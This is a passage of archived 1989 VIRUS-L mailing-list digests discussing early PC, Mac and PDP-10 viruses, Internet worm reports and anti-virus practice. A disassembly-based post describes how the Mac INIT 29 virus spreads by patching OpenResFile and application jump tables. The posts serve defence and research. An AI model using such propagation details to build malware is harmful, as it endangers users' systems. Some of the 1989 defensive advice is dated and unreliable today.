hard disk, these parameters will still be in the setup file (something
like {WP}WP.SET).  These setup parameters can be changed by running WP
with a /S switch from the DOS command line for version 4.2, or by
pressing SHIFT-F1 in WordPerfect for version 5.0.  In either case,
it's under the section of 'location of auxiliary files'.

Check these values to make sure someone hasn't changed the values.
Another way to ensure the setup values are not wrong is by recopying
the master (the ones with the original WP label) diskettes.

Another possibility I just thought of: If you boot from a floppy and
do not have a statement SET COMSPEC=C:COMMAND.COM, the computer will
look on the A (or whatever drive you booted from) for COMMAND.  If you
try shelling out to DOS from WordPerfect (CTRL-F1), the version of
COMMAND.COM that was on the boot drive will be loaded.

We have several thousand versions of WordPerfect (4.1/4.2/5.0) on our
campus, and have not had any trouble with viruses--at least that
haven't been openly publicized or reported.  Some kind of WP virus
certainly could easily wipe us out; or at least bring us to our knees.

------------------------------

Date:    17 January 89, 16:46:39 +0100 (MEZ)
From:    Otto Stolz             [phone]     RZOTTO   at DKNKURZ1
         Rechenzentrum der Universit2t
         Postfach 5560
         D-7750 Konstanz 1
Subject: Internet worm report available in Gemany & Switzerland

Hi gang,

finally, I've got my Xmas present, directly from Bethlehem (it was
posted on 4th Jan by Air Mail: those reindeers seem not to be very
fast whith that sledge on their way across the ocean :-)

Thanks to Ken, I have now two reports on floppy disk:
1. Eugene H. Spafford: "The Internet Worm Program: An Analysis",
   Purdue Technical Report CSD-TR-823, available as Postscript File
   (neatly printing!) and as pure ASCII file.
2. Don Seeley: "A Tour of the Worm", Dept. Comp. Sci. Univ. Utah;
   this report is available with some SCRIPT-like markup and as a pure
   ASCII text, interspersed with many, many blank spaces. I didn't find
   a way to print or display this one neatly, or even legibly :-(

Eugene Spafford handles the topic (in 107 kByte) thoroughly and
clearly.  Large parts of the paper are comprehensable even to
non-Unix-connaisseurs like me; appendices present detailed
descriptions of worm-internals and fixes to Unix.  Also, a one-page
bibliography is given.

Don Seeley gives in (73 kByte) a nearly equally complete description
of the worms functioning, which can serve as a supplement to Stafford
(I'm somewhat biased here by the difficulty to read it from an badly
arranged screen).

Stafford grants permission to make copies of his work, without charge,
solely for the purposes of instruction and research.  I didn't see any
Copyright note in Seeley's report.

I volunteer as a sub-distributor of these two reports for the Federal
Republic and Switzerland, under the following conditions:
1. Both reports on floppy disks:
   Send me one 5.25", 1.2 MByte disk
        or one 3.50", 0.7 MByte disk
        or two 5.25", 0.4 MByte disks
   formatted for MS-DOS (cf. postal address in the header of this note).
   Enclose a stamped (German or Swiss stamps acceptable), self-addressed
   envelope.
   I'll copy the 4 files to your disk(s) and post it in the envelope you
   provided.  I'll post envelops with Swiss stamps in Switzerland, others
   in Germany.  I'll add no stamps, no stable envelope, I'll make no
   corrections to the address.
2. Stafford's report only, in print:
   Send me one stamped (allow for 204 g + weight of your envelope), self-
   addressed envelope and 4 DM or 3.50 sFr for printing costs.
   I'll print the report for you (worth 4.10 DM) on my private account
   and post it in the envelope provided, as above.

I hope everybody interested in the two reports will be able to agree
with this proviso, which is designed to save me a lot of unneccessary
work.

If anybody in Europe, but outside Germany and Switzerland, is still
interested in the reports, please drop me a note to my EARN/BITNET
address, and I'll try to make some suitable arrangement.  But be
prepared to act as a sub-distributor for your country, then!

Best wishes
            Otto

[Ed. Thanks Otto!  That second report, TOUR.N, was written in nroff, I
believe.  It also comes with a file called TOUR.CRT which was
formatted for CRT viewing.  Printing that file on a printer which
obeys backspaces and underlines will work just fine; that's what I
did.  Anyone more fluent in nroff than I (read: at all fluent in...)
might be able to format TOUR.N for another output device.  Thanks
again.]

------------------------------

Date:         Tue, 17 Jan 89 14:08:39 EST
From:         Joe McMahon <[e-mail]>
Subject:      Re: INIT 29 Virus (Mac)
To:           Virus Discussion List <VIRUS-L@LEHIIBM1>

Can anyone give me further information on this virus? Is it the "hPAT"
variation of nVIR, or is it another virus altogether? I have seen
mention of articles in comp.sys.mac, but that's not available to me
here on BITNet.  Thanks for anything which you might find.

- --- Joe M.

------------------------------

Date:    Tue, 17 Jan 89 15:47 CST
From:    Ken  De Cruyenaere <[e-mail]> 204-474-8340
Subject: More VIRUS seminars...

MIS Training Institute announces:
              AN EMERGENCY BRIEFING ON
                ON COMPUTER VIRUSES
UNDERSTANDING THE PROBLEM AND IMPLEMENTING THE SOLUTION
The material is 8 pages long but the key points are:
 Cost: $590
 dates/locations:
  February 28 Chicago
  March 1     Dallas
  March 7     NewYork
  March 8     Atlanta
  March 14    Washington D.C.
  March 16    San Francisco

Dr. Fred Cohen is the "briefing leader".
"Two special features:
1. You will see demonstrations showing live computer viruses actually
   damage systems.
2. As a participant you will receive diskettes containing over 20 programs
   for viral defense product lines that you can try on your own computer.
   Researched, compiled, and explained for you, the value of these sample
   evaluation copies alone far exceeed the cost of the Briefing."

To register: call Pamela Bissett at 508-879-7999
MIS Training Institute, 498 Concord Street, Framingham, MA 01701
- ---------------------------------------------------------------------
Ken De Cruyenaere - Computer Security Coordinator
Computer Services - University of Manitoba - Winnipeg, Manitoba, Canada
Bitnet: [e-mail]               [phone]

------------------------------

Date:         Tue, 17 Jan 89 20:44:22 EDT
From:         <[e-mail]>
Subject:      Virus created by software copying company?

It seems from reading the last several digests that a certain company
who produces Word Processing software, has yet another virus to
contend with?

In all fairness, since the company does not (I think) produce the
disks they sell perhaps they should look at the company who does their
production runs?

I could easily see a virus sitting in a duplicator passing itself on
to each disk that runs through the duplicator.

[Ed. Don't mass-copiers essentially do a sector-for-sector diskcopy
from an original?  Does anyone have any more info on this?]

------------------------------

Date:     Tue, 17 Jan 89 17:05:58 EST
From:     Jefferson Ogata (me!) <[e-mail]>
Subject:  encryption

There is a bit of discussion on the subject of program encryption for
virus prevention in back issues of VIRUS-L (I think maybe around July
or August of last year).  The two major glaring flaws in the idea are
that it takes time to decrypt the programs before you run them, and
that the encryption/decryption program itself could become infected,
since it clearly cannot be stored in an encrypted format.  Also,
program encryption cannot easily protect the operating system, since
that also cannot be encrypted, so boot block viruses and the like are
still pretty pervasive.  The second problem is not easily dealt with,
but here is a bit of elaboration on the first:

If a virus is out to beat an encryption scheme, then it probably
doesn't make much difference which one is being used; even if some-
thing pretty hairy like DES encryption is being used, the virus can
intercept keyboard input and wait for the key to be entered.  Any
encryption scheme can be circumvented fairly easily by a virus
designed with that in mind.  However, using encryption of any kind
would provide excellent protection from most other types of virus.
Since the actual algorithm doesn't matter as much as the encryption
itself, a very simple algorithm would achieve largely the same results
as a complicated one.  Therefore, the problem of time consumption can
be fairly eradicated by using a fast, simple algorithm (e.g. a single
cipher).

Keep in mind that even a simple virus like Brain will spread regard-
less of program encryption, because it attaches to code that could
not be stored encrypted.

- - Jeff Ogata

------------------------------

Date:    Tue, 17 Jan 89 16:04 PST
From:    Larry Cobb 63898 <[e-mail]>
Subject: Reply to Salzmann question about possible Word Perfect virus (PC)

A reply to the WP part of the following message:

>Date:     Mon, 16 Jan 89 16:33:29 IST
>From:     "Eldad Salzmann ([phone]" <[e-mail]>
>Subject:  Any connection between the ping-pong virus and WordPerfect? (PC)
>...  Was WordPerfect infected by the omnipotent virus?
>...  A WordPerfect which was till then working quite smoothly from
>the HD, sud- denly began to look at drive A: for its WP.exe file, ...

I've had similar problems occasionally with Word Perfect 4.2.  I've
not had any such with WP 5.0, but then I've been using WP 5.0 only a
while.  Those problems were traced to various possible causes, *none*
of them viruses.

Yes, WP sets up working and backup files for itself, usually in the
default directory unless you specify otherwise when you do WP setup.
You could have lost or damaged your setup file (named {WP}SYS.FIL ).
I think I've established that too little RAM also allows WP to start
but soon do silly things.  Have you added drivers, memory resident
software, or anything else that may reduce RAM?  Lastly, WP sometimes
looses control of itself when I ask it to load document files from
another word processor or files it created but were munched by a
hapless user.  This latter possibility is corrected by rebooting and
not loading those files; the first two would stay with you until
they're corrected.

Larry Cobb, UCLA School of Nursing, ILZ1LFC@UCLAMVS or [e-mail]
            213-206-3898

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest            Wednesday, 18 Jan 1989        Volume 2 : Issue 18

Today's Topics:
Re: The Ping-Pong virus (PC)
Re: Boot sequence (PC); Discretion
Init 29 virus (Mac)
Macintosh INIT 29 virus - brief description (Mac)
suspicious file
Worm paper in nroff (Internet)

---------------------------------------------------------------------------

Date:        Tue,  17 Jan 89 15:06:39 +0200
From:        Y. Radai <[e-mail]>
Subject:     Re: The Ping-Pong virus (PC)

  Eldad Salzmann asked about the Ping-Pong virus.  It is a virus
which first appeared in Israel about three months ago, and which got
its name because of a bouncing point which appears on the screen.
Like the Brain virus, it resides in the boot sector of disks, in bad
sectors, and in high RAM.  (Since I haven't heard of any reports of
its appearence anywhere else, I presume that it originated in Israel,
probably in the Tel Aviv area.)
  Among the points in which it differs from the Brain virus: (1) It
infects hard disks, not only 5 1/4-inch floppies.  (2) It marks only
two sectors as bad.  (3) It grabs only 2K of high RAM.  (4) To the
best of my knowledge, it does not cause any damage to files or to the
FAT.  In particular, the bad sectors seem to always be chosen from
unused clusters.
  As to Eldad's question about the possibility of a connection between
the Ping-Pong virus and his WordPerfect problem, I strongly doubt that
there is any.
  No, there is no panacea against viruses.  However, the same program
UNVIRUS which was originally written to eradicate the "sUMsDos"
(Friday-the-13th) Israeli virus, and was later extended to three other
Israeli viruses, has also been extended to eradicate the Ping-Pong
virus, both from the disk and from RAM.  (The author of all versions
of UNVIRUS is Yuval Rakavy.)

  I said above that points (1)-(4) were supposed to be in contrast to
the Brain virus, but actually I'm not at all sure what the latter does
with respect to point (4).  I have read (A) that it isn't at all des-
tructive; (B) that it "has been hacked ... into a very malignant form
which can infect hard disks and which destroys FAT entries, deletes
files, and performs other malicious activities" (quoted from the
InterPath document); (C) that is is destructive only to the extent
that it may copy its code to sectors which may belong to existing
files.  Obviously, each of these descriptions may be correct for a
different strain of the virus, although sometimes the reports contra-
dict themselves even when talking about the *same* variant (e.g. with
respect to that which hit the Univ. of Miami).  In any case, can any-
one verify from *actual first-hand experience* that there is a version
of Brain which is destructive in sense (B)?

                                           Y. Radai
                                           Hebrew Univ. of Jerusalem

------------------------------

Date:        Tue,  17 Jan 89 17:10:21 +0200
From:        Y. Radai <[e-mail]>
Subject:     Re: Boot sequence (PC); Discretion

Concerning the boot process on the PC, Dimitri Vulis writes (V2#10):
>                                  Certainly, one can mess around with
>a disk and create one that won't boot, because IBMBIO.SYS is not at
>the beginnig. This would require some (a little) conscious effort and
>cannot easily be done with just FORMAT/S or SYS. I was describing a
>successful boot, in which the file is read into memory.
  (1) I wasn't assuming a disk which wouldn't boot, since IBMBIO.SYS
does not have to be at the beginning of the disk in order for it to
boot.  If another program has been placed there (e.g. by a virus), it
would be executed first, but it could terminate with a transfer of
control to IBMBIO (which has been relocated elsewhere) in order for a
successful boot to take place.  (2) Even if Dimitri intended to des-
cribe only normal boots, it is more accurate to say that the boot rou-
tine loads certain sectors than that it loads certain files, and my
correction was intended to convert his description from one which is
correct only in the case of normal disks into one which would be accu-
rate also for altered disks (assuming, of course, that the boot rou-
tine itself has not been altered).  (3) Although my correction may
seem trivial to some readers, I have reasons for considering it to be
quite significant for certain purposes.

  Another (not very important) point:
>     if the disk has IBMBIO.COM and IBMDOS.COM as the first files in
>the directory, (and finding that takes room too) and if they are
>hidden/system, then the code assumes that the disk is OK ....
  I once removed the hidden and system attributes from IBMBIO.COM and
IBMDOS.COM on one of my diskettes, yet I was still able to boot from
it.

  In his reply concerning the false-sense-of-security issue which I
raised, Dimitri has clarified what he meant by discretion.  Among
other things he writes:
> I don't download software from BBS's anymore (too bad) ....
  Yes, it certainly is too bad.  I continue to download software
(mainly from the SIMTEL20 archives).  One reason that I feel relative-
ly safe doing so is that I try out all new software on a separate com-
puter (I realize, of course, that this facility is not available to
everyone), and I don't transfer the new software to the hard disk of
my ordinary computer until several weeks (sometimes even months) have
elapsed, during which time I check for suspicious activity by means of
the programs I mentioned earlier: FSP, PROTECT, and (most important)
the checksum program in order to see if anything on the disk is get-
ting altered which shouldn't.  (I use the same programs on my ordinary
computer too, of course.)  Also, I simulate dates in the future just
in case the software contains a time bomb with a long delay.  (Yes, I
know, even then I can't be *completely* sure, but I don't mind taking
the risk.)
  Secondly, Dimitri has mentioned ads which claim 100% protection from
viruses, and he has discussed the exploitation by crooks and gonefs of
"dumb ignorant people", "complete idiots" and "very stupid and igno-
rant individuals".  However, I don't find that he has given a direct
answer to my main question: Why can't we use *both* anti-viral soft-
ware *and* discretion?
                                           Y. Radai
                                           Hebrew Univ. of Jerusalem

------------------------------

Date: Wed, 18 Jan 89 11:39:10
Resent-From: [e-mail]
From: Confusion's Drummer <[e-mail]>
Subject: Init 29 virus (Mac)

Here's an extract describing the Mac INIT 29 virus from Laura Lemay
at Carnegie-Mellon University.

 --- Joe M.


1.  To answer your question on Virus-L...init 29 is NOT hpat.  Hpat is
a near-clone of nVIR B (the 422-byte, code 256 version that says
"don't panic"), except the code is 255 instead of 256, and I think the
byte-size has changed.  Rumors are still flying. {Several new repair
programs are available, but have not yet been put out on the SCFVM
server. They will be announced and sent to the Simtel-20 and Info-Mac
archives when they are installed.}

Init 29 is an entirely NEW virus.  It is tiny (1/2 k!)), and the only
sign it exists is an INIT (29, wonder of wonders) that starts popping
up in everything.  SO far, the only side effects I've heard of is that
it gives "disk needs minor repairs" errors while trying to mount TOPS
volumes.

The really evil thing about INIT 29 is that it doesn't need a program
to be run in order to spread.  It starts infecting the moment a disk
is inserted in a drive!  In this way, an idle hard disk can be
infected completely in a short amount of time.

Oops - I just found another note about INIT 29....it adds CODE
resources to applications, and INITs to everything else.  Both are 712
bytes.  I don't know what number the code is -- they didn't mention it
in the note.  Protected code 0's foil the virus (as they do in nVIR
and scores).

VirusDetective (tm) and RWatcher can be modified to look for it
(search on INIT 29 and code size 712). New versions of Vaccine,
Interferon, and Virus RX either have appeared or will appear soon.
{New Vaccine is out; haven't seen a new Interferon yet; new Virus RX
is out and available at SCFVM.}

I hope I haven't sounded too confused -- there are still a lot of
rumors flying around.  All my info comes from a friend at apple who
pulled it off of mac link.

If you want to post this info on virus-L, please do.  For some reason,
I don't have access to the group or to the moderator.  Sigh. {Any
ideas, Ken?}

Laura Lemay
[e-mail]
Carnegie-Mellon University

[Ed. She does now...welcome to VIRUS-L, Laura.]

------------------------------

Date: Wed, 18 Jan 89 14:05:52 -0500
From: Joel B Levin <[e-mail]>
Subject: Macintosh INIT 29 virus - brief description (Mac)

Here is a brief overview of the recently seen INIT 29 virus.  I have
disassembled it and this represents a summary of what I have discovered.

* PLEASE NOTE: Where I describe what this virus does or does not do, keep in
* mind the phrase "AS FAR AS I KNOW."  I have looked at all the code in the
* virus, but I'll not guarantee that I have seen everything that there is to
* see in it.

First, the good news: it appears to have almost no harmful side
effects (files destroyed, beeping, and the like).  If it can't do
something it generally does nothing.  All its code is devoted to the
task of propagating itself.

So the bad news: it is very good at propagating; I would agree with
those who term INIT 29 virulent.

INIT 29 is a single 712 byte resource which installs itself into
non-applications as (you guessed it) INIT 29, and into applications as
a CODE resource.  There are no ancillary resources such as those used
by nVIR (and Hpat), so it is somewhat less noticeable using ResEdit,
say.

The INIT works by patching a trap, OpenResFile.  (If it detects that
another copy of itself has already patched OpenResFile, it does
nothing.)

The patch to OpenResFile is a tail patch; i.e., it calls the routine
at the address previously dispatched to by OpenResFile, then does its
dirty work on the resource file just opened.  This, basically, is to
copy itself into that resource file if it was not previously infected.
If the file has no CODE resources, it copies itself in as INIT 29.  If
the file does have CODE resources, it writes itself into the file as a
new CODE resource with the previously lowest unused resource number.
It patches the jump table in CODE 0 so that it is called before the
application proper is started.

When an infected application runs, it examines the system file for
INIT 29.  If the system is infected, it just starts the application
proper; if not, it first adds itself as INIT 29 to the system file.

The only overtly destructive thing this virus does is to remove and replace
any legitimate INIT 29 which may have been present in the file before the
infection attempt.

Because it patches the trap that it does, any resource file which is
opened once this INIT has run at boot time will become infected: your
Desktop file will have a copy of the INIT; all your INIT files may
have it; your EDIT text files will have it.  Just examining a resource
fork with ResEdit is sufficient to add it, either as the INIT, or
patching in the new CODE.

The VirusDetective DA can detect it; Apple's Virus Rx 1.4a1 appears to
flag it (though it doesn't say why it thinks a file is bad).  Other
virus programs may or may not catch it, and I don't know if any can
repair it.  Removing the INIT 29 resource should be safe; however, DO
NOT try to repair applications by removing the offending CODE
resource, as there will still be a patched jump table entry pointing
to that resource.  I do not know at this time if Vaccine, RWatcher, or
any of the other infection attempt detectors will catch this.

------------------------------

Date:         Mon, 16 Jan 89 11:27:42 EDT
From:         "W. K. (Bill) Gorman" <[e-mail]>
Subject:      suspicious file

I have a user who has a suspicious file on the disk. It has a filename
consisting of what looks like random alphanumeric characters, no
extension, and shows a size of zero in the directory. Further, it
shows up on a normal DIR listing, but cannot be deleted by either DOS,
NORTON or a couple of other things. NORTON thinks, judging from the
first character in the fileneme, that it is a deleted file... but it
still shows up on the normal DOS "DIR" listing. The user says there
were a bunch of files out there like this one, but they were all
deleted except this one.

I am wondering if this might be a viral footprint?

.............................................................................
|W. K. "Bill" Gorman                 "Do             Foust Hall # 5         |
|PROFS System Administrator        SOMETHING,        Computer Services      |
|Central Michigan University      even if it's       Mt. Pleasant, MI 48858 |
|[e-mail]                wrong!"         [phone]         |
|_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_|
|Disclaimer: These opinions are guaranteed against defects in materials and |
|workmanship for a period not to exceed transmission time.                  |
|...........................................................................|

------------------------------

Date: 18 January 89, 14:12:44 EST
From: Jeffery K. Bacon     <[e-mail]>
Subject: Worm paper in nroff (Internet)

Quick note on the "Tour of the Worm" file for Otto (and others):

In the nroff source, there IS a copyright note. However, considering the
thing was put up for anon ftp...

I'm sending Otto a reformatted version of the file...

- -JB

[Ed. Thanks Jeff.  Having never really looked at the nroff source (I
only printed the .CRT file), I never noticed the copyright notice.  I
just looked at it now, however, and it does say "Copyright 1988 by
Donn Seeley, all rights reserved".  Anyone who wishes to use this
report (a very informative one, by the way) should get permission from
Mr. Seeley.]

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Friday, 20 Jan 1989         Volume 2 : Issue 19

Today's Topics:
Re: Computer Virus Industry Association?
Friday 13th virus in UK
PDP Virus

---------------------------------------------------------------------------

Date:     Thu, 19 Jan 89 14:58 GMT
From:     Danny Schwendener <SEKRETARIAT@CZHETH5A>
Subject:  Re: Computer Virus Industry Association?

You might check last year's Risks digests. The association was
mentioned there, and not in a very good light.

It seems that the owner of a software company specialized in
virus-detecting tools created this association with the sole purpose
of publicity. He claimed that its members held over 90% of the
computer vaccine market, but was unable to sustain his claim when
asked by a competitor (who was - of course - not member of the
association).

Danny Schwendener <[e-mail]>

------------------------------

Date: Fri, 20 Jan 89 00:10:38 est
From: ubu![e-mail]
Subject: Friday 13th virus in UK

I've heard various reports now on the purported Friday the 13th virus
hitting the UK last week on Friday the 13th.  Now I've been told that
the Philadelphia Inquirer, a reputable newspaper on the East Coast,
had an article on it in their Saturday (the 14th) newspaper.  I didn't
see the article, however.  Does anyone have any more information on
this?  If so, I'm sure that many of us would be interested in hearing
about it.  The reports that I've heard make the virus sound an awful
lot like the Israel virus of the same name.

Ken

------------------------------

Date:         Fri, 20 Jan 89 08:55:22 MEZ
From:         Thomas Heil <[e-mail]>
Subject:      PDP Virus

Hello folks!

  I have a  question concerning a  possible virus I  heard about. It's
running on a PDP (as far  as I know) and  shows the following symptoms
when it has installed itself:

  Sporadically the screen is cleared and the  message "I AM HUNGRY" is
displayed.  The machine then  waits for  input.  In  order  to get the
machine running  again  one has to  enter the word 'COOKIES'.  If done
so, everything   returns to normal,  otherwise  the  machine continues
waiting for input.

  Are  these symptoms known to anyone,  and does a vaccine  against it
exist? Please respond directly to me as I'm not on this list.

/T.H.

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
| Thomas Heil                   | BITNET: [e-mail]     |
| Kernforschungsanlage Juelich  |                                    |
| Zentralabteilung Allgemeine   |                                    |
|    Technologie                |                                    |
| D-5170 Juelich                | Phone: [phone]            |
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Wednesday, 4 Jan 1989         Volume 2 : Issue 2

Today's Topics:
Forwarded virus discussion from Security list
LISTSERV problems with VIRUS-L

---------------------------------------------------------------------------

Date: Tue, 3 Jan 89 14:18:40 est
From: ubu![e-mail]
Subject: Forwarded virus discussion from Security list

I saw this on the Security discussion group and thought that it might
be an interesting topic to talk about here:

Ken

Date:         Fri, 16 Dec 88 15:40:00 EDT
Sender:       SECURITY Digest <SECURITY@UBVM>
From:         Stan Horwitz <V4039@TEMPLEVM>
Subject:      Re: Virus-writing

  Hello.  I was just at what was called an "emergency breifing" on
viruses.  The person who conducted the breifing is quite well known
for his work in the area of viruses and computer security.  His name
is Dr. Fred Cohen.  This was a very interesting meeting.  One thing
that surprised me is that public domain software is a smaller source
of viruses than proprietary software which comes in those nice shrink
wrapped packages.  Since there is no regulartory agency whose job it
is to certify software and it's potential for harboring viruses and
legitimate bugs, proprietary software becomes just as easy to infect
at the publishing house as any of your own disks.

  It also seems that few unversities or other institutions of higher
education admit to viruses being a major problem.  I don't know of any
courses offered in the subject of computer security and virus
detection.  Are there any at your school?

  A question of relevance to this discussion is along the following
lines.  Is it not the ethical responsibility of our government to
establish laws and guidelines which software must pass before being
distributed?  I know that the government has guidelines for itself
about the integrity of software for it's internal systems.  What about
for consumers in general?  We have laws regulating production of
auto's and other consume products and services.  The same should be
true of software.  There should be some sort of committee made up of
individuals from government and private industry who are responsible
for certifying software.  For gosh sakes, even floppy disks must under
some sort of certification!  It's kind of silly to certify the
integrety of floppy disks when we are allowed to purchase disks with
software that might very well have a virus due to the lack of
regulations and standards in this area.

------------------------------

Date: Wed, 4 Jan 89 08:59:06 est
From: ubu![e-mail]
Subject: LISTSERV problems with VIRUS-L

In addition to my having been out over the holidays, we've been having
some LISTSERV problems here which have been delaying VIRUS-L delivery.
Right now, there are a couple of digests waiting to be delivered...

Sorry for the delays.  Hopefully things will get fixed and production
will resume...  In the meantime, feel free to send in any submissions;
they will be included in a digest and the digests will be sent out as
soon as things are back up and running.

Ken

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Friday, 20 Jan 1989         Volume 2 : Issue 20

Today's Topics:
Friday the 13th virus
re: PC Viruses
RE: Any connection between ping-pong virus and Word Perfect? (PC)
re: PDP Virus
UK virus information server

---------------------------------------------------------------------------

Date:  Fri, 20 Jan 89 08:28:50 EST
From:  "John P. McNeely" <[e-mail]>
Subject: Friday the 13th virus

     I read this on the RISKS discussion list concerning the rumors of
     the Friday 13th virus.

- ---------------------------Original message----------------------------

Date: Wed, 18 Jan 1989 22:28:34 PST
From: Peter Neumann <[e-mail]>
Subject: Friday the 13th Again

There were various reports of Friday-the-13th virus deletions in
Britain, attacking MS-DOS systems.  The so-called virus "has been
frisky and hundreds of people, including a large firm with over 400
computers, have telephoned with their problems," according to Alan
Solomon, director of S and S Enterprises, a data recovery center in
Chesham.  The virus reportedly bore similarities to the Friday the
13th Israeli virus (13 May 1988, the previous Friday the 13th).
[Source: SF Chronicle, 14 Jan 1989, p. B1]

------------------------------

Date:        20 January 89, 15:01:30 +0100 (MEZ)
From:        Otto Stolz <[e-mail]>
Subject:     re: PC Viruses

First Main Proposition of Virus Hunting: Every program designed to
catch viruses can be circumvented by virus-writers who know its
principles of operation.

Second Main Proposition of Virus Hunting: Every virus can be catched
and prevented from further propagating, if its principles of operation
are known.

> Does anyone know where we can get a program which either runs resident
> on a PC and prevents viruses from attacking the hard disk

According to the above 1st Proposition, there is no such thing!
However, you may obtain programs to prevent particular virus strains
from propagating to your hard disk, e.g. IMMUNE for 4 Israeli strains.

To prevent Boot-Sector-Viruses from propagating, you can buy SafeGuard
cards for your PCs, to prevent booting from floppy disks, altogether.
Proceed thus: boot from a clean, original DOS diskette, format your
hard disk, re-install software on it, and then install the SafeGuard
card (do not allow for further booting until you've completed these
steps).

> or non-resident programs which detect the presence of a virus?

Again, there is no such thing!  The best option you have: To detect
COM- and EXE-viruses, write your own program to compute some signature
value from all bytes in a file and compare it with a value obtained
earlier in the same way.  Lock away the source of your program and
every hints on its algorithm in a safe place, and apply it regularly
to every program file you use (including itself).

I hope that helps
                  Otto Stolz

[Ed. Fred Cohen has an interesting way of phrasing your two
propositions - "There ain't a horse that can't be rode or a man that
can't be throwed."]

------------------------------

Date:     Fri, 20 Jan 89  16:12:59 MET
From:     <[e-mail]>  (Dirk Bode)
Subject:  RE: Any connection between ping-pong virus and Word Perfect? (PC)

Eldads Word Perfect problem sounds much like the problem we had at our
Computer Center. It is produced by a little memory resident virus
witch infects every COM or EXE File without damages, exept WP 4.2!!
Now, how can you detect this virus ?? First look at your memory
residents (with MAPMEM or such tools). There is after the virus is
installed a new program (nearly 1700 Byte). Every time you execute a
program the virus copy itself at the begining of this file. If you
execute an infected file the virus checks first if it's already
installed then execute the normal program. So, if you got this virus
you may never recognise until you use an copy of Word Perfect 4.2:
after infection you can't work from a HD.  If somebody is interessted
in a program to check if a file is already infected send me a note!

Dirk Bode
Regionales Rechenzentrum Erlangen
[e-mail]

------------------------------

Date:     Fri, 20 Jan 89 10:55 EST
From:     <[e-mail]>
Subject:  re: PDP Virus

Thomas,

Oh, the memories that brings back.

You neglected to mention that the "PDP" was a "PDP-10".  There are
lots of other PDPs in the world: PDP-11s and PDP-8s are still widely
used. PDP-10s have mostly gone the way of all good things. CompuServe
is still using a lot of them, but they don't run TOPS-10.

The program may have mutated since the last time I saw it (about 10
years ago), but here is what I remember.  The program you describe was
neither a "virus" nor a "worm" in the current senses of those terms.
Probably the closest term would be "trojan horse".

The "cookie" program was a privileged program running under TOPS-10.
It was usually run by one "friend" to annoy another.  It used a
privileged "ttcall" (TOPS-10 terminal I/O call) to allocate the
victim's terminal and would pester him or her mercilessly until either
the victim "fed" it a "cookie" or the perpetrator exited the program.
The computer's "system manager" had to be involved, since the program
needed to be "installed" (the Tops-10 terms were somewhat different),
so the program wasn't entirely uncontrollable.

Ah, those were the good old days: when 0.25 MIPS mainframes took up an
entire room, large disk drives were 20 MegaBytes, and you couldn't
afford more than 256KBytes of core memory.

Thanks for the nostalgia.

Selden E. Ball, Jr.
(Wilson Lab's network and system manager)

Cornell University                 Voice: [phone]
Laboratory of Nuclear Studies        FAX: [phone]
Wilson Synchrotron Lab            BITNET: SYSTEM@CRNLNS
Judd Falls & Dryden Road        Internet: [e-mail]
Ithaca, NY, USA  14853       HEPnet/SPAN: LNS61::SYSTEM = 44283::SYSTEM

------------------------------

Date:       Thu, 19 Jan 89 14:28:52 GMT
From:       The Heriot-Watt Info-Server <[e-mail]>
Subject:    UK virus information server

UK redistribution list and archive server

For the information of other UK and European members of the virus-l
list, there is now a UK redistribution of the valert-l and virus-l
lists from Heriot-Watt University, Edinburgh.

The virus-l redistribution currently has 42 members, 14 of which are
academic site or company central redistribution points.

There is also an information server located at Heriot-Watt which
currently holds:

1. All back issues of the virus-l list (in digest for from November, in
   monthly or weekly log form from April)
2. Copies of the Trojan-PRO software from the RPICICGE archives
3. Copies of the LEHIIBM1 listserver software archives
4. Copies of the SCFVM listserver MAC software archives
5. Risks digests from November onwards
6. Various documentation on viruses, worms etc. Eg Gene Spaffords report
   on the internet worm.

The information server is similar to the UK distributed information servers
and takes requests in the form of a mail message to the server mail
address <[e-mail]>

For help on the use of the server send a mail message with the request help, eg

request: help

For an index of the topics available send,

request: index
topic: index

For a list of all virus information available, send

request: virus
topic: index

If anyone has any reports or software which they would like to appear on this
server please feel free to send them to <[e-mail]>. Updates on new
items will be posted to the UK redistribution list. Any European subscribers
who wish to be kept informed of software availability please drop me a note.

Finally, if anyone has a binhex 4.0 conversion utility running under unix
I would dearly like a copy.

Yours sincerely,
   Dave Ferbrache,                          <[e-mail]> [Janet]
   Dept of computer science                 <[e-mail]> [Internet]
   79 Grassmarket                           (UK) 031-225-6465 ext 553
   Edinburgh. EH1 2HJ

[Ed. Thanks for all your time and effort, Dave!  It is much
appreciated.]

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Monday, 23 Jan 1989         Volume 2 : Issue 21

Today's Topics:
re: PDP virus
Size-changing viruses
Re: 1st and 2nd Main propositions of virus hunting
Anti-virus programs
RE: Otto's Rules

---------------------------------------------------------------------------

Date: Fri, 20 Jan 89 16:46:52 EST
From: [e-mail]
Subject: re: PDP virus

I haven't seen any PDP viruses, but the Cookie Monster seems to be a
classic program.  I wouldn't call it a virus -- at least, I've never
heard of any viral versions.  It's probably something someone inserted
when no-one else was looking.  Unless the perpetrator manages to patch
the operating system, you should be able to find the file somewhere
and delete it.  Also, you should be able to find the process (task?
I'm not very familiar with PDP terminology, and you didn't mention
which OS you were running on it anyway) and kill it.  Unless this is
an exotic version, it should be very easy to get rid of the problem.

Jim

------------------------------

Date: Sun, 22 Jan 89 15:22:22 PST
From:     [e-mail]
Subject: Size-changing viruses

I gather that at least some of the virus-detection programs on the
market recognise viruses by looking for files or file extensions of
specific sizes.  What happens when a virus comes out which changes its
size with each infection according to a random number table?

Peter Scott ([e-mail])

------------------------------

Date: Sat, 21 Jan 89 21:37:34 PST
From: [e-mail]
Subject: Re: 1st and 2nd Main propositions of virus hunting

In vol 2, # 20, Otto Stolz gives two propositions of virus hunting,
viz. (1) every program designed to catch viruses can be circumvented
by virus-writers who know its principles of operation, and (2) every
virus can be [caught] and prevented from further propagating if its
principles of operation are known.

These principles help characterize virus hunting as a game, in the
theoretical sense, but they include an implicit assumption that is
worth examining.

